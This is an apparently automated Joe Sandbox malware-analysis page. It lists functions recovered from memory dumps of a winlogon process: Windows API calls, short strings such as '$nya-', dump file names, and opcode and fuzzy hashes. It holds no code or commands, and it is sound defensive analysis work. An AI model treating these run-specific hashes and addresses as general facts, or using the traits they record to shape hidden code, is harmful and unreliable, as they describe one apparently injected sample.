Function 00000225DC6A9AAC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00000225DC6A9C6B,?,?,?,00000225DC6A945C,?,?,?,?,00000225DC6A8F65), ref: 00000225DC6A9B31
GetLastError.KERNEL32(?,?,?,00000225DC6A9C6B,?,?,?,00000225DC6A945C,?,?,?,?,00000225DC6A8F65), ref: 00000225DC6A9B3F
LoadLibraryExW.KERNEL32(?,?,?,00000225DC6A9C6B,?,?,?,00000225DC6A945C,?,?,?,?,00000225DC6A8F65), ref: 00000225DC6A9B69
FreeLibrary.KERNEL32(?,?,?,00000225DC6A9C6B,?,?,?,00000225DC6A945C,?,?,?,?,00000225DC6A8F65), ref: 00000225DC6A9BD7
GetProcAddress.KERNEL32(?,?,?,00000225DC6A9C6B,?,?,?,00000225DC6A945C,?,?,?,?,00000225DC6A8F65), ref: 00000225DC6A9BE3

Strings

api-ms-, xrefs: 00000225DC6A9B51

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction ID: cbb0e091a5e8a0647ed17d91b748296e3a1bfd377bedf59ef4bbecbc16baf3ff
Opcode Fuzzy Hash: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction Fuzzy Hash: F131C839322F60A5EF12DB8A980879623D4F754BA2F798525DD1E87794EF38C445C310

Function 00000225DC653400 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000225DC653431
GetLastError.KERNEL32 ref: 00000225DC65343D
CloseHandle.KERNEL32 ref: 00000225DC653455
CreateFileW.KERNEL32 ref: 00000225DC653480
WriteConsoleW.KERNEL32 ref: 00000225DC65349F

Strings

CONOUT$, xrefs: 00000225DC653461

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction ID: 2033734ead1eee0760fe514e4fb1f343eab727be6a9dda2dd37494602eb1d2d3
Opcode Fuzzy Hash: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction Fuzzy Hash: CC118239320F6096E7508B9AE85C71A67A1F798FE6F648224EA5E87B94DF38C404C744

Function 00000225DC683400 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000225DC683431
GetLastError.KERNEL32 ref: 00000225DC68343D
CloseHandle.KERNEL32 ref: 00000225DC683455
CreateFileW.KERNEL32 ref: 00000225DC683480
WriteConsoleW.KERNEL32 ref: 00000225DC68349F

Strings

CONOUT$, xrefs: 00000225DC683461

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction ID: e1a00947360858de61993c59da533af345ba0edd2cc76b84ab314fa3198168f4
Opcode Fuzzy Hash: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction Fuzzy Hash: BF116329310F5096F750CB9AE858719B6A0FB88FE6F548224EA5E87BD4DF38C804C745

Function 00000225DC6B3400 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000225DC6B3431
GetLastError.KERNEL32 ref: 00000225DC6B343D
CloseHandle.KERNEL32 ref: 00000225DC6B3455
CreateFileW.KERNEL32 ref: 00000225DC6B3480
WriteConsoleW.KERNEL32 ref: 00000225DC6B349F

Strings

CONOUT$, xrefs: 00000225DC6B3461

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction ID: eab7698497ab3c3cf8f4afe5226ac72d14a90ac433ca77d2e065e95d4af5d053
Opcode Fuzzy Hash: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction Fuzzy Hash: 92119D29310F6096E7618BDAE858719A6B5F798FE6F408224EA5E87B94DF38C804C740

Function 00000225DC676270 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC6762AB
GetThreadContext.KERNEL32 ref: 00000225DC676415

Part of subcall function 00000225DC6760A0: GetCurrentThreadId.KERNEL32 ref: 00000225DC6760A4

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: b08b5ce39edb43236479958ddd03c6d1f6838080b2cf9501a19bb2138673ce94
Instruction ID: caf8dc8176cc31464ede950ed0476c3e746fbfb24309561ee861608c75650903
Opcode Fuzzy Hash: b08b5ce39edb43236479958ddd03c6d1f6838080b2cf9501a19bb2138673ce94
Instruction Fuzzy Hash: 25D1BC3A208F98D1DA70DB9AE49835A77A0F388B89F504516EACD47BA9DF3DC551CF00

Function 00000225DC6A6270 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC6A62AB
GetThreadContext.KERNEL32 ref: 00000225DC6A6415

Part of subcall function 00000225DC6A60A0: GetCurrentThreadId.KERNEL32 ref: 00000225DC6A60A4

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: b08b5ce39edb43236479958ddd03c6d1f6838080b2cf9501a19bb2138673ce94
Instruction ID: cb876ffcc14d7cc9c0fe1fa7ca300b15f0f6236db7f881f70835ddb0c2e5d4df
Opcode Fuzzy Hash: b08b5ce39edb43236479958ddd03c6d1f6838080b2cf9501a19bb2138673ce94
Instruction Fuzzy Hash: C2D19C7A204F9895DA70DB8AE49835AB7B0F788B89F108116EACD877A5DF3DC551CB00

Function 00000225DC642098 Relevance: 9.1, APIs: 6, Instructions: 113threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00000225DC6420A6
TlsFree.KERNEL32 ref: 00000225DC64225F
TlsFree.KERNEL32 ref: 00000225DC64226B
TlsFree.KERNEL32 ref: 00000225DC642277
TlsFree.KERNEL32 ref: 00000225DC642283
TlsFree.KERNEL32 ref: 00000225DC64228F

Part of subcall function 00000225DC645E50: GetCurrentThreadId.KERNEL32 ref: 00000225DC645E66

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: Free$CurrentThread
String ID:
API String ID: 564911740-0
Opcode ID: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
Instruction ID: 849b2c283a368bd6b7d8b5e5c29e36bcfd87e21499934034f9761d219d4f3126
Opcode Fuzzy Hash: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
Instruction Fuzzy Hash: 99511A3821DF65B5EF06DFECD85869833A1FB0474AF808895A62E073A5EF78D519C340

Function 00000225DC672098 Relevance: 9.1, APIs: 6, Instructions: 113threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00000225DC6720A6
TlsFree.KERNEL32 ref: 00000225DC67225F
TlsFree.KERNEL32 ref: 00000225DC67226B
TlsFree.KERNEL32 ref: 00000225DC672277
TlsFree.KERNEL32 ref: 00000225DC672283
TlsFree.KERNEL32 ref: 00000225DC67228F

Part of subcall function 00000225DC675E50: GetCurrentThreadId.KERNEL32 ref: 00000225DC675E66

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: Free$CurrentThread
String ID:
API String ID: 564911740-0
Opcode ID: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
Instruction ID: 3468bd196747705ecafc2d2c23a9d117d4093727daae3abfadfed312507525d0
Opcode Fuzzy Hash: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
Instruction Fuzzy Hash: 8151A539201F65E5EB06DFACDC5829423A1FB08746F948C25A66D0ABE5FF78C559C340

Function 00000225DC6A2098 Relevance: 9.1, APIs: 6, Instructions: 113threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00000225DC6A20A6
TlsFree.KERNEL32 ref: 00000225DC6A225F
TlsFree.KERNEL32 ref: 00000225DC6A226B
TlsFree.KERNEL32 ref: 00000225DC6A2277
TlsFree.KERNEL32 ref: 00000225DC6A2283
TlsFree.KERNEL32 ref: 00000225DC6A228F

Part of subcall function 00000225DC6A5E50: GetCurrentThreadId.KERNEL32 ref: 00000225DC6A5E66

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Free$CurrentThread
String ID:
API String ID: 564911740-0
Opcode ID: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
Instruction ID: b1319a00c32cb94045c832397be3abdb361cabce2a89a9de64fabfa9db851202
Opcode Fuzzy Hash: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
Instruction Fuzzy Hash: 6B51EB3D281F65B5EF06DFACD89829433A1FB04746F948815AA2D867A5FF78C929C340

Function 00000225DC6435C8 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,00000225DC6424D1), ref: 00000225DC6435EB
HeapAlloc.KERNEL32(?,?,?,?,?,00000225DC6424D1), ref: 00000225DC6435FE
StrCmpNIW.SHLWAPI(?,?,?,?,?,00000225DC6424D1), ref: 00000225DC643673
GetProcessHeap.KERNEL32(?,?,?,?,?,00000225DC6424D1), ref: 00000225DC6436D9
HeapFree.KERNEL32(?,?,?,?,?,00000225DC6424D1), ref: 00000225DC6436E7

Strings

$nya-, xrefs: 00000225DC64366C

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: $nya-
API String ID: 756756679-1266920357
Opcode ID: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction ID: b35f4ad6ca57cd50bb25f75fbccfe027727c3404bd0641e538bb20a3c2fd2b0d
Opcode Fuzzy Hash: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction Fuzzy Hash: C3318229719F7AA2EA21DF9AE54876977A0FB44F95F18C0309F4A07B55EF34C461C700

Function 00000225DC6735C8 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,00000225DC6724D1), ref: 00000225DC6735EB
HeapAlloc.KERNEL32(?,?,?,?,?,00000225DC6724D1), ref: 00000225DC6735FE
StrCmpNIW.SHLWAPI(?,?,?,?,?,00000225DC6724D1), ref: 00000225DC673673
GetProcessHeap.KERNEL32(?,?,?,?,?,00000225DC6724D1), ref: 00000225DC6736D9
HeapFree.KERNEL32(?,?,?,?,?,00000225DC6724D1), ref: 00000225DC6736E7

Strings

$nya-, xrefs: 00000225DC67366C

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: $nya-
API String ID: 756756679-1266920357
Opcode ID: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction ID: 0e933dde1ac2161e9d029eb9aafddf3f36767926d58ae12a26d993e46f5d1c6f
Opcode Fuzzy Hash: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction Fuzzy Hash: 09318E2A701F75A3EA11DFAAE54876963A0FB44F96F28C8309F4807B95EF38C461C700

Function 00000225DC6A35C8 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,00000225DC6A24D1), ref: 00000225DC6A35EB
HeapAlloc.KERNEL32(?,?,?,?,?,00000225DC6A24D1), ref: 00000225DC6A35FE
StrCmpNIW.SHLWAPI(?,?,?,?,?,00000225DC6A24D1), ref: 00000225DC6A3673
GetProcessHeap.KERNEL32(?,?,?,?,?,00000225DC6A24D1), ref: 00000225DC6A36D9
HeapFree.KERNEL32(?,?,?,?,?,00000225DC6A24D1), ref: 00000225DC6A36E7

Strings

$nya-, xrefs: 00000225DC6A366C

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: $nya-
API String ID: 756756679-1266920357
Opcode ID: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction ID: 662f470960be3b878308010d86b6d609a759a17dc0fb21496952c4ebb4f02033
Opcode Fuzzy Hash: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction Fuzzy Hash: 4A31CE2A701F61A3EA11DF9AE548369A3A1FB54F96F18D0309F4887B65EF38C461C300

Function 00000225DC64C940 Relevance: 9.1, APIs: 6, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000225DC64C94F
SetLastError.KERNEL32 ref: 00000225DC64C96E
FlsSetValue.KERNEL32 ref: 00000225DC64C997
FlsSetValue.KERNEL32 ref: 00000225DC64C9A8
FlsSetValue.KERNEL32 ref: 00000225DC64C9B9

Part of subcall function 00000225DC64D2A0: HeapFree.KERNEL32(?,?,?,?,?,?,?,00000225DC64674A), ref: 00000225DC64D2B6
Part of subcall function 00000225DC64D2A0: GetLastError.KERNEL32(?,?,?,?,?,?,?,00000225DC64674A), ref: 00000225DC64D2C0

SetLastError.KERNEL32 ref: 00000225DC64C9DC

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: ErrorLast$Value$FreeHeap
String ID:
API String ID: 365477584-0
Opcode ID: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction ID: c0e29f2d3459f78ac5c5c32710ade1ac8fc7e6770d5076c999ee149a55dd3a23
Opcode Fuzzy Hash: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction Fuzzy Hash: 7C11702D71CE7072FA5867F9A81D36F3252AB85792F54C6B4E967563C6DE38C401C300

Function 00000225DC67C940 Relevance: 9.1, APIs: 6, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000225DC67C94F
SetLastError.KERNEL32 ref: 00000225DC67C96E
FlsSetValue.KERNEL32 ref: 00000225DC67C997
FlsSetValue.KERNEL32 ref: 00000225DC67C9A8
FlsSetValue.KERNEL32 ref: 00000225DC67C9B9

Part of subcall function 00000225DC67D2A0: HeapFree.KERNEL32(?,?,?,?,?,?,?,00000225DC67674A), ref: 00000225DC67D2B6
Part of subcall function 00000225DC67D2A0: GetLastError.KERNEL32(?,?,?,?,?,?,?,00000225DC67674A), ref: 00000225DC67D2C0

SetLastError.KERNEL32 ref: 00000225DC67C9DC

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: ErrorLast$Value$FreeHeap
String ID:
API String ID: 365477584-0
Opcode ID: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction ID: a875aa4653512ee24e7d2212af4580c3c98327b6d20060586ee3abada98c9fb9
Opcode Fuzzy Hash: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction Fuzzy Hash: E911863D314E7072FA54A7F9681D36E1251AB84792F54CE24E9776ABC6DE38C402C341

Function 00000225DC6AC940 Relevance: 9.1, APIs: 6, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000225DC6AC94F
SetLastError.KERNEL32 ref: 00000225DC6AC96E
FlsSetValue.KERNEL32 ref: 00000225DC6AC997
FlsSetValue.KERNEL32 ref: 00000225DC6AC9A8
FlsSetValue.KERNEL32 ref: 00000225DC6AC9B9

Part of subcall function 00000225DC6AD2A0: HeapFree.KERNEL32(?,?,?,?,?,?,?,00000225DC6A674A), ref: 00000225DC6AD2B6
Part of subcall function 00000225DC6AD2A0: GetLastError.KERNEL32(?,?,?,?,?,?,?,00000225DC6A674A), ref: 00000225DC6AD2C0

SetLastError.KERNEL32 ref: 00000225DC6AC9DC

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: ErrorLast$Value$FreeHeap
String ID:
API String ID: 365477584-0
Opcode ID: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction ID: 94ee8105368b08318b792b932de3e76bbedc80c5542e1ae07ef22bd2515019d7
Opcode Fuzzy Hash: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction Fuzzy Hash: DC11512D304F7072FA54E7F9681D3AE1252AB85792F64C624E967D77D6DE38C801C305

Function 00000225DC641A30 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000225DC641A56
K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC641A74
PathFindFileNameW.SHLWAPI ref: 00000225DC641A83
lstrlenW.KERNEL32 ref: 00000225DC641A8F
StrCpyW.SHLWAPI ref: 00000225DC641AA2
CloseHandle.KERNEL32 ref: 00000225DC641AB0

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
